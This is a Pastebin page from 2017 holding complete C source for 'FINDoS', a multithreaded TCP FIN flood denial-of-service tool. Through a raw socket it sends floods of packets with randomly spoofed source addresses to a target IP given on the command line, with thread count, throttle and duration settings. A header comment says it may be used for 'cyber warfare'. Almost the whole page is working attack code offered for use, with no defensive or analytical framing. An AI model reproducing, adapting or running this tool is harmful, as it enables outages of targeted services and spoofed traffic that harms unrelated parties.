1337ings

[C] FINDoS

Jan 30th, 2017
294
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.00 KB | None | 0 0
  1. /*
  2. This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
  3. */
  4. #include <unistd.h>
  5. #include <time.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <sys/ioctl.h>
  9. #include <string.h>
  10. #include <stdlib.h>
  11. #include <stdio.h>
  12. #include <pthread.h>
  13. #include <netinet/tcp.h>
  14. #include <netinet/ip.h>
  15. #include <netinet/in.h>
  16. #include <netinet/if_ether.h>
  17. #include <netdb.h>
  18. #include <net/if.h>
  19. #include <arpa/inet.h>
  20. #define MAX_PACKET_SIZE 4096
  21. #define PHI 0x9e3779b9
  22. static unsigned long int Q[4096], c = 362436;
  23. volatile int limiter;
  24. volatile unsigned int pps;
  25. volatile unsigned int sleeptime = 100;
  26. void init_rand(unsigned long int x)
  27. {
  28. int i;
  29. Q[0] = x;
  30. Q[1] = x + PHI;
  31. Q[2] = x + PHI + PHI;
  32. for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  33. }
  34. unsigned long int rand_cmwc(void)
  35. {
  36. unsigned long long int t, a = 18782LL;
  37. static unsigned long int i = 4095;
  38. unsigned long int x, r = 0xfffffffe;
  39. i = (i + 1) & 4095;
  40. t = a * Q[i] + c;
  41. c = (t >> 32);
  42. x = t + c;
  43. if (x < c) {
  44. x++;
  45. c++;
  46. }
  47. return (Q[i] = r - x);
  48. }
  49. unsigned short csum (unsigned short *buf, int count)
  50. {
  51. register unsigned long sum = 0;
  52. while( count > 1 ) { sum += *buf++; count -= 2; }
  53. if(count > 0) { sum += *(unsigned char *)buf; }
  54. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  55. return (unsigned short)(~sum);
  56. }
  57. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  58. struct tcp_pseudo
  59. {
  60. unsigned long src_addr;
  61. unsigned long dst_addr;
  62. unsigned char zero;
  63. unsigned char proto;
  64. unsigned short length;
  65. } pseudohead;
  66. unsigned short total_len = iph->tot_len;
  67. pseudohead.src_addr=iph->saddr;
  68. pseudohead.dst_addr=iph->daddr;
  69. pseudohead.zero=0;
  70. pseudohead.proto=IPPROTO_TCP;
  71. pseudohead.length=htons(sizeof(struct tcphdr));
  72. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  73. unsigned short *tcp = malloc(totaltcp_len);
  74. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  75. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  76. unsigned short output = csum(tcp,totaltcp_len);
  77. free(tcp);
  78. return output;
  79. }
  80. void setup_ip_header(struct iphdr *iph)
  81. {
  82. iph->ihl = 5;
  83. iph->version = 4;
  84. iph->tos = 0;
  85. iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  86. iph->id = htonl(54321);
  87. iph->frag_off = 0;
  88. iph->ttl = MAXTTL;
  89. iph->protocol = 6;
  90. iph->check = 0;
  91. iph->saddr = inet_addr("192.168.3.100");
  92. }
  93. void setup_tcp_header(struct tcphdr *tcph)
  94. {
  95. tcph->source = htons(5678);
  96. tcph->seq = rand();
  97. tcph->ack_seq = 1;
  98. tcph->res2 = 0;
  99. tcph->doff = 5;
  100. tcph->fin = 1;
  101. tcph->window = htons(65535);
  102. tcph->check = 0;
  103. tcph->urg_ptr = 0;
  104. }
  105. void *flood(void *par1)
  106. {
  107. char *td = (char *)par1;
  108. char datagram[MAX_PACKET_SIZE];
  109. struct iphdr *iph = (struct iphdr *)datagram;
  110. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  111. struct sockaddr_in sin;
  112. sin.sin_family = AF_INET;
  113. sin.sin_port = htons (rand() % 20480);
  114. sin.sin_addr.s_addr = inet_addr(td);
  115. int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  116. if(s < 0){
  117. fprintf(stderr, ":: cant open raw socket. got root?\n");
  118. exit(-1);
  119. }
  120. memset(datagram, 0, MAX_PACKET_SIZE);
  121. setup_ip_header(iph);
  122. setup_tcp_header(tcph);
  123. tcph->dest = htons (rand() % 20480);
  124. iph->daddr = sin.sin_addr.s_addr;
  125. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  126. int tmp = 1;
  127. const int *val = &tmp;
  128. if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  129. fprintf(stderr, ":: motherfucking error.\n");
  130. exit(-1);
  131. }
  132. init_rand(time(NULL));
  133. register unsigned int i;
  134. i = 0;
  135. while(1){
  136. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  137. iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  138. iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  139. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  140. tcph->seq = rand_cmwc() & 0xFFFF;
  141. tcph->source = htons(rand_cmwc() & 0xFFFF);
  142. tcph->check = 0;
  143. tcph->check = tcpcsum(iph, tcph);
  144. pps++;
  145. if(i >= limiter)
  146. {
  147. i = 0;
  148. usleep(sleeptime);
  149. }
  150. i++;
  151. }
  152. }
  153. int main(int argc, char *argv[ ])
  154. {
  155. if(argc < 5){
  156. fprintf(stderr, "Invalid parameters!\n");
  157. fprintf(stdout, "Usage: %s <IP> <threads> <throttle, -1 for no throttle> <time>\n", argv[0]);
  158. exit(-1);
  159. }
  160. int num_threads = atoi(argv[2]);
  161. int maxpps = atoi(argv[3]);
  162. limiter = 0;
  163. pps = 0;
  164. pthread_t thread[num_threads];
  165. int multiplier = 20;
  166. int i;
  167. for(i = 0;i<num_threads;i++){
  168. pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  169. }
  170. fprintf(stdout, ":: sending all the packets..\n");
  171. for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  172. {
  173. usleep((1000/multiplier)*1000);
  174. if((pps*multiplier) > maxpps)
  175. {
  176. if(1 > limiter)
  177. {
  178. sleeptime+=100;
  179. } else {
  180. limiter--;
  181. }
  182. } else {
  183. limiter++;
  184. if(sleeptime > 25)
  185. {
  186. sleeptime-=25;
  187. } else {
  188. sleeptime = 0;
  189. }
  190. }
  191. pps = 0;
  192. }
  193. return 0;
  194. }
Add Comment
Please, Sign In to add comment